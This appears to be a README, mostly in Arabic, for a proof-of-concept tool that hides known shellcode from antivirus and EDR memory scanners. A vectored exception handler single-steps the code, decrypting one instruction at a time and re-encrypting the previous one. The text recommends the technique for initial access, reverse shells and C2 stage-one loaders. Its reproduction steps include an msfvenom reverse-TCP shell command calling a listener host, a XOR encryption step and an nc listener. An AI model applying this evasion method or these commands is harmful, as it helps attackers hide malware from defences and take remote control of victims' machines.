
A technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page.
تقنية يمكن استخدامها لتجاوز فاحصي الذاكرة في برامج مكافحة الفيروسات/EDR. يمكن استخدامها لإخفاء شيلكودات معروفة ومكتشفة (مثل msfvenom) عن طريق تنفيذ فك تشفير فوري لتعليمات التجميع المشفرة بشكل فردي، مما يجعل فاحصي الذاكرة عديمي الفائدة لتلك الصفحة المحددة من الذاكرة.
ستقوم هذه التقنية بإنشاء منطقة ذاكرة PAGE_EXECUTE_READWRITE حيث سيتم تخزين تعليمات التجميع المشفرة. سيتم تغليف الشيلكود ببعض الحشو (padding). سيضع البرنامج نقطة توقف أجهزية (HWBP) عند نقطة الدخول للشيلكود.
بعد ذلك، سيقوم البرنامج بتثبيت معالج استثناءات متجه (VEH). سيعمل هذا الـ VEH بشكل أساسي مثل مصحح أخطاء، حيث يتنقل خطوة بخطوة عبر الكود، ويقرأ سجل مؤشر التعليمات (RIP) لكل استثناء خطوة واحدة (SINGLE STEP) يستقبله الـ VEH، ويفك تشفير الـ 16 بايت التالية (الحد الأقصى لطول تعليمة تجميع x64) حيث يشير RIP. كما يقوم الـ VEH بإعادة تشفير التعليمة التي تم فك تشفيرها سابقًا، مما يضمن بقاء بقية الشيلكود مشفرة دائمًا باستثناء تعليمة التجميع الوحيدة المنفذة حاليًا. بعد ذلك، سيواصل التنفيذ، مع ضبط عَلَم المصيدة (TRAP FLAG) على سجل Eflags. سيضمن ذلك أن تعليمة التجميع التالية ستؤدي أيضًا إلى استثناء نقطة توقف يمكن للـ VEH التعامل معه.
بعد تثبيت الـ VEH، سيتم توجيه تنفيذ الخيط الرئيسي إلى نقطة دخول الحمولة. عندما يتم تشغيل الـ HWBP عند نقطة الدخول، سيتوقف الـ VEH عند كل تعليمة تجميع يتم تنفيذها، ويقوم بفك تشفير تعليمة التجميع التالية وتشفير التعليمة المشفرة السابقة المحفوظة كمتغير عام.
من خلال القيام بذلك، في الأساس يتم فك تشفير تعليمة تجميع واحدة فقط في كل مرة، بينما تبقى بقية الحمولة مشفرة.
ملاحظة: هذه التقنية مثالية للحصول على وصول أولي باستخدام شيلكود بسيط مثل msfvenom أو شيلات عكسية مخصصة. يمكن أيضًا استخدامها كمرحلة أولى (stage 1) لحمولة تقوم بتنزيل بقية الحمولة من خادم C2.
ملاحظة: هذه التقنية غير متوافقة مع جميع الحمولات (مثل المحملات الانعكاسية). فيما يلي قائمة بالقيود الحالية:
VEH سيتم تشغيله لـ كل تعليمة تجميع يتم تنفيذها في الشيلكود، فإن سرعة تنفيذ الشيلكود ستنخفض بشكل كبير. لكل تعليمة تجميع ينفذها المعالج، سيقوم الـ VEH بتنفيذ 300 تعليمة تجميع إضافية على الأقل لإجراء فك التشفير والتشفير واستعادة التنفيذ إلى الخيط الرئيسي. إذا كان الشيلكود المعطى محسنًا لحجم أصغر على حساب الأداء (مثل msfvenom)، سيكون تنفيذ الحمولة أبطأ. قد يستغرق تنفيذ MSFVENOM أكثر من 15 ثانية (اعتمادًا على المعالج). يحدث هذا لأن الشيلكود المحدد الذي يستخدمه msfvenom يضحي بالأداء للحصول على حجم حمولة أصغر.NtCreateThread أو أي من أغلفته في Kernelbase.dll مع نقطة دخول داخل الشيلكود، فإن الحمولة لن تعمل لأن الـ VEH لن يتم تشغيله لتنفيذ ذلك الخيط نظرًا لعدم وجود HWBP مثبتة عند نقطة دخول الخيط المنشأ حديثًا. (قيد قيد التطوير - سيتم تنفيذه لاحقًا في هذا المستودع)القيم/المتغيرات المخزنة داخل نفسه (على سبيل المثال، وجود السلسلة النصية الخام "powershell.exe" التي تتم الإشارة إليها عبر إزاحة في استدعاء إلى WinExec WINAPI) أو بعض الأرقام المحفوظة عند إزاحة، وكان الشيلكود سيحاول لاحقًا تحميلها أو الإشارة إليها في مكان ما، فلن يعمل البرنامج لأن المتغير أو السلسلة المحددة ستكون مشفرة ولا يقوم الـ VEH بفك تشفيرها. إذا كان الشيلكود يدفع مثل هذه الوسائط على المكدس عبر تعليمات التجميع ( لدفع "AAAAAAAA" على المكدس لاستخدامها في استدعاء دالة)، فستعمل هذه التقنية. (قيد قيد التطوير - سيتم تنفيذه لاحقًا في هذا المستودع)كيفية إعادة إنتاج الإثبات المفاهيمي (POC):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
./XorEncryptPayload.exe C:\Path\to\shell.asm
nc -nvlp 443

هذا المستودع لأغراض أكاديمية، واستخدام هذا البرنامج هو مسؤوليتك.
push 0x4141414141414141